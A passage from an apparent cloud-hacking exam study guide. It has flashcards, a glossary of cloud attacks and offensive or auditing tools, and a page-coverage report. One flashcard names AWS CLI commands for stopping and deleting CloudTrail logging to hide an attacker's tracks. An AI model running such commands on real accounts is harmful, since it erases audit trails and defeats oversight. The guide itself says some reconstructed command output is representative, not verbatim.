Q: What makes IMDSv2 harder to exploit via SSRF than IMDSv1? | A: It requires a session token obtained via a PUT request first.
Q: What is a side-channel / cross-guest VM attack? | A: Stealing data (like crypto keys) via shared hardware (CPU cache) between co-resident VMs.
Q: What does the wrapping attack duplicate? | A: The SOAP message body, placing a copy in the header while substituting a malicious body.
Q: What does MITC stand for and abuse? | A: Man-in-the-Cloud; abuses cloud file sync tokens (Dropbox/Google Drive).
Q: What makes Cloud Hopper distinct from other cloud attacks? | A: It specifically targets Managed Service Providers (MSPs) to reach their downstream customers.
Q: What is cloud cryptojacking? | A: Unauthorized use of cloud compute resources to stealthily mine cryptocurrency.
Q: What is Cloudborne? | A: A firmware-level backdoor implanted on bare-metal cloud servers, persisting across tenants.
Q: What does CPDoS stand for? | A: Cache Poisoned Denial of Service.
Q: How does Cloud Snooper bypass AWS security groups? | A: It disguises C2 traffic using destination/source port 80 or 443.
Q: What does Golden SAML forge, and using what? | A: Forges SAML authentication tokens, using a stolen token-signing certificate.
Q: What is Living off the Cloud (LotC)? | A: Using the victim's own legitimate tools and cloud services to carry out attacks without leaving obvious traces.
Q: What are the 3 areas "cloud hacking" broadly covers? | A: Web Applications Hacking, System Hacking, Cloud Platform Hacking.

Q: What does Masscan specialize in? | A: Extremely fast, large-scale port scanning.
Q: What does Prowler check for? | A: Cloud misconfigurations and security loopholes, multi-cloud.
Q: What does CloudSploit's --compliance flag do? | A: Maps findings to a named framework (HIPAA, PCI, or CIS).
Q: What does Cloudsplaining need as input? | A: An exported IAM policy JSON file from `aws iam get-account-authorization-details`.
Q: What does Cartography use to query cloud resource relationships? | A: A graph database (Neo4j), queried with Cypher.
Q: What does CloudFox's `workloads` check find? | A: Workloads (like EC2 instances) running with admin-level permissions.
Q: What is Stratus Red Team described as? | A: "Atomic Red Team for the cloud," a MITRE ATT&CK-mapped threat emulation tool.
Q: What is Pacu? | A: An open-source AWS exploitation framework, used to hijack misconfigured IAM roles among other things.
Q: What does DumpsterDiver's "high entropy" detection catch? | A: Secrets that look random enough to be sensitive, even without matching a known pattern.
Q: What does SkyArk's AWStealth/AzureStealth find? | A: "Shadow admins": accounts with dangerous, admin-equivalent permissions not labeled as admin.
Q: What AWS CLI commands cover an attacker's tracks via CloudTrail? | A: `aws cloudtrail stop-logging` and `aws cloudtrail delete-trail`.
Q: What AWS CLI command enables lateral movement into another account? | A: `aws sts assume-role --role-arn ...`.
Q: What does AADInternals's ReconAsOutsider mode require? | A: No credentials at all; fully unauthenticated Azure AD/O365 recon.
Q: What does MicroBurst require before it can enumerate resources? | A: An already-authenticated Az PowerShell session.
Q: What is password spraying? | A: Trying a few passwords across many accounts, with delays, to avoid lockouts.
Q: What does AzureHound feed into? | A: BloodHound, for attack-path graph analysis.
Q: What does Goblob enumerate? | A: Publicly exposed Azure Blob storage containers.
Q: What GCP permission, if public, allows full bucket takeover? | A: `storage.buckets.setIamPolicy`.
Q: What credential types can GCP Scanner evaluate? | A: Service account keys, gcloud profiles, instance metadata, and access/refresh tokens.
Q: What does `cloud_enum`'s --disable-aws/--disable-azure flags do? | A: Narrow its default multi-cloud scan down to fewer providers (for example, GCP only).
Q: What does `lxd` group membership grant, with no further password check? | A: Root-equivalent access to the host, via a privileged container with a mounted host filesystem.
Q: What does `etcdctl` let an attacker read directly from Kubernetes? | A: Cluster data, including unencrypted Secrets, bypassing API-level RBAC.
Q: Are Kubernetes Secrets encrypted by default? | A: No, only base64-encoded, unless explicit encryption-at-rest (KMS) is configured.
Q: What is the Zero Trust model's core principle? | A: Trust no one by default; verify every

request before granting access.
Q: What are CASB's 4 pillars? | A: Visibility, Compliance, Data Security, Threat Protection.
Q: What is EDOS? | A: Economic Denial of Sustainability; fraudulent usage inflates a victim's metered cloud bill.
Q: What do AWSGoat, AzureGoat, and GCPGoat have in common? | A: Each is an intentionally vulnerable, provider-specific training infrastructure.

11. Glossary

AADInternals: a PowerShell module for Azure AD/O365 administration, recon, exploitation, and post-exploitation.

ADFS (Active Directory Federation Services): Microsoft's SAML-based identity provider for federated authentication.

ARN (Amazon Resource Name): AWS's unique identifier format for every resource, which always includes the account ID.

AzureHound: a data collector for AzureAD/AzureRM, feeding BloodHound for attack-path analysis.

Backdoor account/role: a persistent, often innocuously-named identity an attacker creates to regain access later.

BAS (Breach and Attack Simulation): safely emulating real attack techniques to test detection and defense, as Stratus Red Team does.

Cartography: a graph-database tool mapping cloud resource relationships and attack paths, queried via Cypher.

CASB (Cloud Access Security Broker): a solution enforcing visibility, compliance, data security, and threat protection between cloud consumers and providers.

CaaS (Container-as-a-Service): a service model where the vendor runs the container orchestration layer.

Cloud Hopper: an attack targeting managed service providers (MSPs) to reach their downstream customers.

Cloud Snooper: an attack disguising C2 traffic as port 80/443 traffic to bypass AWS security groups.

Cloudborne: a firmware-level backdoor on bare-metal cloud servers, persisting across customer reassignment.

CloudBrute: a tool that brute-forces and validates candidate cloud storage bucket names.

CloudFox: a tool running targeted CLI checks to surface AWS attack paths quickly.

Cloudsplaining: a tool that scans an exported AWS IAM policy file offline for dangerous permission patterns.

CloudSploit: a tool scanning cloud accounts for misconfigurations, with compliance-framework mapping.

Cloud_enum: a multi-cloud tool enumerating public storage buckets and related resources across AWS, Azure, and GCP.

CPDoS (Cache Poisoned Denial of Service): poisoning a CDN's cached response so it denies service to every subsequent legitimate visitor.

Cross-guest VM breach: see side-channel attack.

CRL (Certificate Revocation List): a list of certificates that are no longer trusted.

DumpsterDiver: a tool scanning files/directories for hardcoded secrets, including by detecting high entropy.

EDOS (Economic Denial of Sustainability): fraudulent usage that inflates a victim's metered cloud bill without taking the service offline.

Endgame: a tool that mass-exposes AWS resources to internet-wide access, creating widespread backdoors.

etcd: Kubernetes' distributed key-value data store, holding cluster state and (unless encrypted) plaintext Secrets.

FaaS (Function-as-a-Service): serverless computing where the vendor runs individual functions on demand.

Fog computing: a distributed layer of nodes positioned between data sources and the cloud.

GCPBucketBrute: a tool that brute-forces GCS bucket names and checks for privilege-escalation-level public access.

GCP Scanner: a tool measuring the exact access level of a given GCP credential.

Ghostbuster: a tool enumerating AWS Route 53 DNS records, including dangling elastic IPs.

Goblob: a tool enumerating publicly exposed Azure Blob storage.

Golden SAML attack: forging SAML authentication tokens using a stolen identity-provider signing certificate.

IDaaS (Identity-as-a-Service): outsourced identity and access management as a cloud service.

IMDS (Instance Metadata Service): a cloud instance's own metadata endpoint, reachable at 169.254.169.254, serving config and (on AWS) IAM role credentials.

IaaS (Infrastructure-as-a-Service): a service model where the vendor supplies raw compute, storage, and networking.

LotC (Living off the Cloud): using the victim's own legitimate tools and cloud services to carry out attacks with minimal trace.

LXD/LXC: a Linux system container manager and its underlying runtime; `lxd` group membership can grant root-equivalent host access.

Man-in-the-Cloud (MITC): stealing and later restoring a cloud file sync token to read a victim's synced files undetected.

Masscan: an extremely fast, large-scale internet port scanner.

MicroBurst: a PowerShell toolkit automating Azure resource/service enumeration, requiring prior authentication.

Pacu: an open-source AWS exploitation framework.

PaaS (Platform-as-a-Service): a service model where the vendor also manages the OS and runtime.

Password spraying: trying a few passwords across many accounts (with delays) to avoid lockouts, as Spray365 does against Azure AD.

Prowler: a multi-cloud, CLI-driven security-misconfiguration scanner.

RBAC (Role-Based Access Control): granting permissions to roles rather than individuals directly.

SaaS (Software-as-a-Service): a service model where the vendor runs the entire application.

SAML (Security Assertion Markup Language): an XML-based standard for exchanging authentication/authorization data in federated SSO.

Scout Suite: a multi-cloud security-auditing tool producing one unified dashboard across AWS, Azure, and GCP.

SECaaS (Security-as-a-Service): outsourced security monitoring and response as a cloud service.

Serverless computing: see FaaS.

Shadow admin: an account holding dangerous, admin-equivalent permissions without an obvious "Admin" label.

Side-channel attack: extracting secrets indirectly through shared hardware behavior (such as CPU cache timing) between co-resident VMs.

SkyArk: a tool discovering shadow admins in AWS and Azure.

SOAP (Simple Object Access Protocol): an XML-based web services messaging protocol, targeted by the wrapping attack.

SSRF (Server-Side Request Forgery): tricking a server into making attacker-chosen requests, often used to reach the IMDS endpoint.

Stormspotter: a tool mapping Azure subscription attack surface.

Stratus Red Team: "Atomic Red Team for the cloud," a MITRE ATT&CK- mapped threat emulation tool for AWS/Azure/GCP/Kubernetes.

STS (Security Token Service): the AWS service issuing temporary credentials, including those used in role-assumption and IMDS theft.

Trivy: a scanner for OS package and application dependency vulnerabilities in container images.

VNet peering: an Azure feature connecting two virtual networks, which can be abused for unauthorized lateral movement.

Wrapping attack: duplicating a SOAP message body into its header while substituting a malicious body, during TLS-layer translation.

XaaS (Anything-as-a-Service): a catch-all label for any IT capability delivered as a cloud service.

Zero Trust: a security model assuming no user or device is trusted by default, verifying every request before granting access.

12. Coverage Report

12.1 Page-to-section map

Pages	Guide section(s)
1	3.1, 3.2
2	3.3, 3.4
3	3.5, 3.6
4	3.7, 3.8
5	3.9, 3.10
6	3.11, 3.12
7	3.13, 3.14
8	3.15, 3.16
9	3.17, 3.18
10	3.19, 3.20
11	3.21, 3.22
12	3.23, 3.24
13	3.25, 3.26
14	3.26, 3.27 (duplicate screenshots, merged)
15	3.27, 3.28 (duplicate screenshot, merged)
16	3.29, 3.30
17	3.31, 3.32

Pages	Guide section(s)
18	3.33, 3.34
19	3.35
20	3.36, 3.37
21	3.38, 3.39
22	3.40, 3.41
23	3.42, 3.43
24	3.44, 3.45
25	3.46, 3.47
26	3.48, 3.49
27	3.50, 3.51
28	3.52, 3.53
29	3.54, 3.55
30	3.56
31	3.57, 3.58
32	3.59, 3.60
33	3.61, 3.62
34	3.63, 3.64
35	3.65, 3.66
36	3.67, 3.68
37	3.69
38	3.70, 3.71
39	3.72, 3.73
40	3.74, 3.75
41	3.76, 3.77
42	3.78, 3.79
43	3.80, 3.81
44	3.82, 3.83
45	3.84, 3.85
46	3.86, 3.87
47	3.88, 3.89
48	3.89 (duplicate screenshot, merged), 3.90
49	3.91

Pages	Guide section(s)
50	3.92, 3.93
51	3.94, 3.95
52	3.96, 3.97
53	3.98, 3.99
54	3.100, 3.101

Every tool, command, protocol, acronym, and attack named across all 54 pages also appears in section 4 (Tool Encyclopedia), section 5 (Command Sheet), or section 6 (Ports, Protocols, Standards and Acronyms), with cross-references back to its originating topic section in section 3.

12.2 [UNCLEAR] items

- [UNCLEAR on page 7]: the "Quantum AI" row of the AI-powered/quantum threats table was cut off in the source capture; only the phrase "Quantum-enhanced AI exponentially increasing the..." was legible before the text was cropped, so its complete claim could not be confirmed (covered in section 3.13 with this limitation noted directly).
- [UNCLEAR, pages 16-53 generally]: per the source material's own note, embedded terminal, browser, and console screenshots on pages 16, 17, 18, 19, 20, 21, 22, 23, 24, 26, 27, 28, 29, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 47, 48, 52, and 53 were captured at a resolution too low for fully reliable character-level reading. This guide reconstructed the commands, flags, and general shape of each sample output using the legible fragments combined with each tool's known, documented behavior; exact long strings (full AWS session tokens, full SAML/JWT token bodies, exact random bucket/account ID digits, and precise byte-for-byte log timestamps) should be treated as representative, not verbatim, and are not relied upon for any exam fact in this guide.
- [UNCLEAR on page 26]: the full base64-encoded AWS STS `Token` value shown in the IMDS curl output was too long and partially garbled to transcribe with full confidence; the guide shows a shortened, representative excerpt in section 5.16 rather than the complete string.
- [UNCLEAR on page 27]: the full base64-encoded `SessionToken` value in the Pacu/ `assume_role_enum.py` sample output was similarly too long and garbled to transcribe in full; section 5.18 presents it in trimmed form.

12.3 Items to double check (marked "verify" in this guide)

- The exact current NIST post-quantum cryptography standard names (ML-KEM, ML-DSA, formerly CRYSTALS-Kyber/Dilithium), mentioned under "ADDED CONTEXT" in

section 3.13, since NIST naming has changed during standardization and may change again.

- The current AICPA SSAE numbering (referenced as "SSAE 18" in section 3.91, item 3, and in section 6.2), since AICPA periodically revises its attestation standards numbering.
- The detailed feature-parity claims in the Azure NSG vs. AWS VPC/ Security Group/ NACL comparison table (section 3.69's "ADDED CONTEXT"), since both providers update networking features frequently; verify current capabilities directly against each provider's documentation before using this for exam study beyond the core stateful/stateless and scope distinctions.
- Whether the OWASP Mobile-style numbering convention used for the Serverless Top 10 (A1-A10, mirroring the OWASP web Top 10 labels) is still the current, unrevised OWASP Serverless Top 10 edition at the time of your exam, since OWASP periodically refreshes its Top 10 lists.
- The current, exact command-line syntax for fast-moving open-source security tools referenced throughout sections 4 and 5 (Pacu, CloudFox, Trivy, Prowler, Scout Suite, and others), since these tools release frequent version updates that can change flag names; treat this guide's syntax as representative of the version captured in the source screenshots.

12.4 Coverage confirmation

Every inventory line extracted from the 54 source pages (every slide title, bullet point, named tool, command, flag, protocol, port, acronym, diagram, and table) is covered in exactly one place in section 3's Topic-by-Topic Guide, in the same order as the original screenshots, and cross-referenced into section 4 (tools), section 5 (commands), section 6 (ports/protocols/acronyms), section 7 (attack/ countermeasure pairs), and section 8 (exam cheat sheet) as appropriate. No screenshot content was skipped; duplicate screenshots (Golden SAML on pages 13-14, Living off the Cloud on pages 14-15, and Cloud Computing Security Considerations on pages 47-48) were merged into single topic sections while preserving every unique detail from both copies.